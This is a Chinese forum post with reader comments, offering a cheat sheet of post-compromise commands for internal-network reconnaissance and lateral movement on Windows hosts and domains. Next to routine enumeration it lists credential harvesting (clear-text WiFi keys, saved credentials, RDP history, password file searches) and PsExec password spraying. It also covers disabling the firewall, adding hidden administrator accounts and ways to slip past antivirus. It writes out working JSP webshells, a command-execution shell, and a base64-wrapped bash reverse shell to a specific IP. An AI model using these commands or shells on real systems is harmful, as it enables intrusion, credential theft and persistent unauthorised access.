【僵尸申请复活】【已通过】告别内网打一半,百度找命令 - 内网信息收集大全
目录
Windows主机信息收集
系统内信息
用户、组
查看当前用户、权限
// CMD方式可直接查看
whoami // 查看当前用户
whoami /all // 查看当前域并获取域SID
qwinsta // 获取当前连接会话
quser // 与qwinsta用法大概相同,查看使用帮助
// 通过Win+R运行 lusrmgr.msc
lusrmgr.msc // GUI方式查看系统内用户,可查看隐藏用户
// 调用Powershell内函数输出,需使用PowerShell
Get-WmiObject -Class Win32_UserAccount // PowerShell 查看系统内用户
// 输出用户+SID
wmic useraccount get name,sid // 输出当前系统内所有用户+SID
查看本地用户列表
net user // 查看本地用户
net localgroup administrators // 查看本地管理员组(通常包含域用户)net user xxx // 查看指定用户详细信息
操作系统
磁盘类
查看系统盘符
wmic logicaldisk where DriveType=3 get DeviceID
查看权限类
cacls c:\ //查看c盘的权限配额
cacls c:\windows\ma.exe //查看ma.exe的权限配置
icacls C:\Windows //查看文件的ACL情况
操作系统信息类
操作系统信息
systeminfo
执行以下命令直接查看操作系统及版本
// 查找字符串方式
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" // 中文操作系统
// 直接输出指定字段方式
wmic OS get Caption,CSDVersion,OSArchitecture,Version
查看补丁列表
systeminfo
wmic qfe get Caption,Description,HotFixID,InstalledOn
注意:域内主机的补丁通常是批量安装的,通过查看本机补丁列表,就可以批量找到内网未打补丁的漏洞。
查看系统体系结构
echo %PROCESSOR_ARCHITECTURE%
安转的软件及版本
wmic product get name,version
查看本机进程
tasklist
wmic process
tasklist /m shell32.dll // 查看调用了shell32.dll的进程
查看本机服务
wmic service list brief
查看所有软件的信息PowerShell
Get-WmiObject -class win32_product |Select-Object -Property name,version
查看主机开机时间
net statistics workstation
查看本机共享
net share
wmic share get name,path,status
查看其他主机的BIOS名称
nbtstat -A 127.0.0.1
查看计划任务
schtasks /query /fo LIST /v // query显示所有计划任务
查看自启程序列表
wmic startup get command,caption
环境变量
wmic environment get Description , VariableValue
查看用户所属的家目录路径
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Desktop" /s
查看IE浏览器浏览记录
reg query "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs" /s
操作记录类
查看保存的凭证(密码)
cmdkey /l
查看application日志
Get-WinEvent -FilterHashtable @{logname="Application";}
查看DCOM文件
Get-CimInstance Win32_DCOMApplication
命令执行记录
powershell命令历史记录,如果命令用不起,可以查看powershell的txt
Get-Content (Get-PSReadlineOption).HistorySavePath
注册表记录
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type %appdata%\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
远程桌面信息
(适用于Windows 10)
// PowerShell
dir "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" -Name
// CMD 查看连接过的IP
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
// CMD 查看连接过的IP的所有信息(包括Hash)
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s
WIFI记录
查看WIFI记录
netsh wlan show profile
获取连接过的WIFI密码
使用上一步的获取到的WIFI名称,替换WiFi-name
netsh wlan show profile WiFi-name key=clear
获取所有WIFI密码
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
VNC记录
HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver RealVNC
HKEY_CURRENT_USER\Software\TightVNC\Server Value TightVNC
HKEY_LOCAL_USER\Software\TigerVNC\WinVNC4 TigerVNC
HKCU\Software\Martin Prikryl\WinSCP 2\Sessions WinSCP
查找杀软
// 查找杀软(通过命令)
wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
// 输出所有的进程,通过杀软比对器查找
tasklist /svc
// 输出所有的进程,通过杀软比对器查找
powershell get-process
Findstr(正常)骚操作
查找当前目录的子目录的所有含有pass的文件夹
findstr /s /m "pass" *.*
查找c盘的a.txt
dir c:\a.txt /s /b
For命令的骚操作
C段存活主机查找
for /l %i in (1,1,255) do @ping 10.0.1.%i -w 1 -n 1 | find /i "ttl"
C段存活主机查找+主机名
for /l %i in (1,1,255) do @ping -a 10.0.1.%i -w 1 -n 1 | find /i "Pinging"
B段存活主机查找
在一个内网里面有时候不一定只有一个域,而当两个域没有信任时,可以用这条扫出来
for /l %i in (1,1,255) do @ping -a 10.0.%i.1 -w 1 -n 1 | find /i "Pinging"
for /l %i in (1,1,255) do @ping -a 10.0.%i.254 -w 1 -n 1 | find /i "Pinging"
net view 存活主机查找
把net view的结果,挨个ping一遍,并输出机器名和ip地址。
FOR /F "eol=- tokens=1 delims= " %a IN ('net view') DO @(echo name: %a, ip: & ping %a -w 1 -n 1 | find /i "ttl" & echo.)
内网密码爆破
当前环境 : 知道网内多个主机的默认密码(管理员),每台主机会有不同用户登录进来,现在想读取登录到主机其他用户的密码,但主机太多不想一个一个登录进去读密码的解决办法:
// 生成ip文件
(按网段生成ip列表,现在的环境254为网关,所以地址到253止)
for /l %i in (1,1,253) do echo 192.168.60.%i >>ip.txt
// 判断ip存活,并保存到ok.txt
(判断存活主机,同网段内一般是不禁ping的)
for /f %i in (ip.txt) do ping -n 1 -w 10 %i | find /i "ttl" >nul && echo %i >>ok.txt
// 尝试对存活主机进行密码复用爆破
for /f %i in (ok.txt) do PsExec64.exe -accepteula \\%i -u "administrator" -p "123456" /s cmd.exe /c "ipconfig" >> 1.txt
结果会将被爆破出来密码的主机的ipconfig存储到1.txt文件中
多线程版B段扫描(慎用)
效果嘎嘎nb,请在文件夹中使用
全部执行完毕后,可以使用 cat * 查看
for /l %a in (0,1,2) do cmd /c "choice /t 7 /d y /n >nul" & for /l %b in (1,1,255) do start cmd /c "ping 192.168.%a.%b -l 1 -n 1 -i 1 >192.168.%a.%b.txt"
获取所有WIFI密码
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
查找本机所有有关密码的字段
// 注册表内password字段
reg query HKCU /f password /t REG_SZ /s
reg query HKCU /f 密码 /t REG_SZ /s
// 请发挥想象C:、D:、E:、F:等等等等
dir c:\*pass* /s /b
dir c:\*password* /s /b
dir c:\*密码* /s /b
远程桌面相关
开启远程桌面连接
方法1:
// wmic 开启
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
// wmic 关闭
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0
// 设置远程桌面端口
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f
方法2:
// 修改注册表方式 开启
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
// 关闭
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 1 /f
// 防火墙加白,Windows防火墙启用远程桌面,开放远程桌面端口
netsh advfirewall firewall set rule group=“remote desktop” new enable=Yes
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
查询3389端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
用户操作类
添加
### 查看用户
net user 用户
#### 添加用户
net user 用户 密码 /add
#### 添加用户到administrators组
net localgroup administrators 用户 /add
删除
#### 删除用户
net user 用户 /del
#### 从administrators组删除用户
net localgroup administrators 用户 /del
账户启用
#### 启用账户
net user 账户 /active:yes
#### 停用账户
net user 账户 /active:no
隐藏账户
#### 添加隐藏用户
net user 用户$ 密码 /add
#### 删除隐藏用户
net user 用户$ /del
踢出用户
// 拿到用户的ID
query user
// 使用用户ID,高权限,即可踢出用户
logoff ID
切换域控用户
system权限直接切换,不需要输入密码
// 拿到用户的ID
query user
// 使用用户ID,高权限,即可桌面切换用户
tscon ID
查看防火墙相关信息
防火墙相关操作
//老版本
netsh firewall show state // 防火墙状态
netsh firewall show config // 查看防火墙配置
netsh firewall set opmode disable // 关闭防火墙(windows server 2003及以前)
//新版本
netsh advfirewall show allprofiles // 防火墙状态
netsh advfirewall export "c:\firewall.pol" // 备份防火墙
netsh advfirewall set allprofiles state off // 关闭防火墙(windows server 2003以后)
netsh advfirewall set allprofiles state on // 开启防火墙(windows server 2003以后)
修改防火墙配置
// 允许指定程序的全部连接(windows server 2003及以前)
netsh firewall add allowedprogram c:\\xxx\\xx.exe "allow xx" enable
// windows server 2003之后:
//允许某个程序连入 tcpudp
netsh advfirewall firewall add rule name="all xx" dir=in action=allow program="C:\xxx\xx.exe"
//不允许某个程序外联 tcpudp
netsh advfirewall firewall delete rule name="all xx" program="C:\xxx\xx.exe"
// 防火墙开启3389端口
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
// 防火墙开启3389端口,并指定连接IP
netsh advfirewall firewall add rule name="Remote Desktop" dir=in action=allow protocol=TCP localport="3389" remoteip="aip,bip,cip"
网络连接类
查看网络配置情况
ipconfig /all // 查询本机IP段,所在域等
route print // 打印路由信息
arp -a // 查看arp缓存,可以发现内网主机
列出本地计算机与所连接的客户端主机之间的会话
net session
删除本地计算机与所连接的客户端主机之间的会话
net session /delete /y
net use的发起方删除连接
net use * /del /y
查看端口信息
netstat -ano //查询全部端口
netstat -ano |findstr 80 //查询指定端口
Windows失陷前期命令
PowerShell
PowerShell执行策略
#更新执行策略
Set-ExecutionPolicy <policy-name>
#policy-name可能的值
Unrestricted、RemoteSigned、AllSigned、Restricted、Default、Bypass、Undefined
#将ExecutionPolicy改为Unrestricted,可以运行未签名的脚本
Set-ExecutionPolicy Unrestricted
#查询详细策略
get-help about_Execution_Policise
查看当前运行脚本策略
Get-ExecutionPolicy
指定当前的运行级别为ByPass,然后就可以运行脚本,这个指定的运行级别是本次执行的运行级别,不会改变默认
更改当前命令行ps1脚本执行策略
(声明本地执行策略,以可执行脚本的权限运行)
绕过本地不能执行脚本策略
##原值
PowerShell.exe test.ps1 #提示没有权限运行
##添加绕过参数
PowerShell.exe -ExecutionPolicy Bypass test.ps1 #无提示直接运行
PowerShell Base64 编码脚本
$fileContent = "ipconfig"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($fileContent)
$encodedCommand = [Convert]::ToBase64String($bytes)
echo $encodedCommand
powershell /enc $encodedCommand
CMD命令写入马子(转义符号)
冰蝎jsp
命令
Ctrl+H替换路径,然后依次执行命令即可。 写入之前建议在本地环境先进行写入测试。
连接密码:rebeyond
路径:..\1.jsp
echo ^<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%^> > ..\1.jsp
echo ^<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%^> >> ..\1.jsp
echo ^<%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES"); >> ..\1.jsp
echo c.init(2,new SecretKeySpec(k.getBytes(),"AES")); >> ..\1.jsp
echo new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%^> >> ..\1.jsp
测试写入
查看是否可以成功解析
cmd /c echo ^<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%^> > ..\1.jsp
冰蝎jspx
echo ^<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"^> > 1.jspx
echo ^<jsp:directive.page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"/^> >> 1.jspx
echo ^<jsp:declaration^> class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}^</jsp:declaration^> >> 1.jspx
echo ^<jsp:scriptlet^>String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);^</jsp:scriptlet^> >> 1.jspx
echo ^</jsp:root^> >> 1.jspx
一句话小马
echo ^<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %^> > ..\1.jsp
Weblogic服务相关信息
Weblogic控制台账号密码
/app/weblogic/Oracle/Middleware/user_projects/domains/app_domain/servers/Server1/security/boot.properties
Weblogic加密文件存放地址
/root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat
Weblogic数据库账号密码
/root/Oracle/Middleware/user_projects/domains/base_domain/config/jdbc/
weblogic虚拟路径配置文件(Web项目路径)
cat /weblogic/user_projects/domains/card_domain/config/config.xml
Kill进程
cmd下命令杀进程的几个方法
1、用taskill命令
taskkill /f /im 进程名称
示例:用taskkill /f /im VStart.exe命令关闭音速启动,VStart.exe就是音速启动的进程名称
taskkill /pid[进程码] -t(结束该进程) -f(强制结束该进程以及所有子进程)
注:有两种方法查进程的PID码:
在命令行下用 tasklist 命令查出进程的PID号码,就是这些
在任务管理器中的查看选项中选择选择列中勾先PID那一项
示例:举个关闭迅雷的例子,先找出迅雷的PID码2552
taskkill /pid 2552 -f,就是这个指令
2、用 wmic process Where name="进程名称" call terminate 这个不需要知道进程的PID号
示例:
wmic process Where name="iexplore.exe" call terminate 关闭IE浏览器,
3、ntsd -c q -p [pid进程码]
示例:还是举个关闭迅雷的吧,同样先找出迅雷的PID码2724
ntsd -c q -p 2724 是这条指令!
taskkill /f /im 进程名称
taskkill /pid[进程码] -t(结束该进程) -f(强制结束该进程以及所有子进程)
wmic process Where name="进程名称"
ntsd -c q -p 2724
获取出网IP
curl ident.me
命令执行一些其他方式
// 都为远古版,命令执行不成功时,可借鉴以下方式,不全
cmd /c C:\ProgramData\msf.exe //有一定几率能够绕过360
cmd /c start C:\ProgramData\msf.exe //有一定几率能够绕过360
Dxcap -c C:\ProgramData\msf.exe //有一定几率能够绕过360
cmd /c Dxcap -c C:\Windows\System32\cmd.exe //Dxcap被拦时可试试这个
Linux Base64编码执行命令
适用于某些命令执行情况下
bash -c "{echo,base64编码数据}|{base64,-d}|{bash,-i}"
例如
ping log.v4xtb8.ceye.io -c 1
cGluZyBsb2cudjR4dGI4LmNleWUuaW8gLWMgMQ==
bash -c "{echo,cGluZyBsb2cudjR4dGI4LmNleWUuaW8gLWMgMQ==}|{base64,-d}|{bash,-i}"
bash -i >& /dev/tcp/110.42.206.16/9999 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTAuNDIuMjA2LjE2Lzk5OTkgMD4mMQ==
bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTAuNDIuMjA2LjE2Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}"
调出桌面图标设置
rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,0
DNS缓存设置
刷新DNS缓存
ipconfig /flushdns
查看DNS缓存
ipconfig /displaydns
445端口爆破用户密码
445端口爆破原理
取消建立的连接
net use * /del /y
空会话
向192.168.178.135的445端口发起连接,需要账号密码
net use \\192.168.178.135
远程本地认证
向192.168.178.135的445端口发起连接,需要账号密码
net use \\192.168.178.135 /user:workgroup\administrator 1218Th..
nmap扫描445
nmap --script=smb-vuln-ms17-010 IP
文件流
echo 123 > axgg::$INDEX_ALLOCATION //文件流创建文件
rd axgg::$INDEX_ALLOCATION //删除改文件
Windows域控信息收集
域内信息收集
判断是否存在域
“工作站DNS名称”为域名(若为WORKGROUP,则表示当前不是域环境),登录域为当前登陆的域。
net config workstation // 查看当前计算机名,全名,用户名,系统版本,工作站域,登陆的域等
net view /domain // 查看域
net user /do //获取域用户列表
“域”即域名,如果为WORKGROUP则表示当前不是域环境,机器不在于内。
systeminfo
查看主控制器
net time /domain // 主域服务器会同时作为时间服务器
net group "domain controllers" /domain // 查看域控制器组
nltest /DCLIST:god // 查看域控制器主机名,god为域名
定位域控制器
我们已经知道了与控制器的名称,接下来就要定位域控制器的ip地址了。
ping owa.god.org // owa为域控制器名
列出域信任关系
nltest /domain_trusts 列出域与域之间的信任关系
查看域内用户组列表
net group /domain
Domain Admins 域管理员组
Domain Computers 域内的机器
Domain Controllers 域控制器
Domain Users 域用户
Enterprise Admins 企业系统管理员组
查看所有的域成员主机(机器用户;不包括域控):
net group "domain computers" /domain
查看域管理员组:
net group "domain admins" /domain
如上操作可以得到域管理员用户有administrator和owa$。
net group "Enterprise Admin" /domain
获取域密码信息
net accounts /domain
查看域用户信息
net user /domain // 查看域用户
net user xxx /domain // 查看指定域用户详细信息
获取域内用户详细信息
wmic useraccount get /all
PDF文件
评论21次
太强了,感谢师傅分享,省的自己去找了QVQ
感谢师傅整理分享
感谢师傅分享
感谢师傅
收藏了 感谢师傅
请问有原文链接吗?这个要收藏下来好好研究下
知识有点多,要慢慢消化了
整理的太细了 很强
好东西 收藏了
感谢师傅整理
感谢师傅分享
linux主机怎么打 哥哥们
感谢师傅费心整理
老哥发个pdf吧。很有用
好的老哥
兄弟,你整理个PDF当个附件成不,看着头大啊
好嘞兄弟
文件发出来撒,这样看不方便
okok
请问你在哪里看到这篇文章了吗?
你这是文档直接抄下来的 问什么不直接上文档简单省事 现在这样看的头大
老哥发个pdf吧。很有用
文件发出来撒,这样看不方便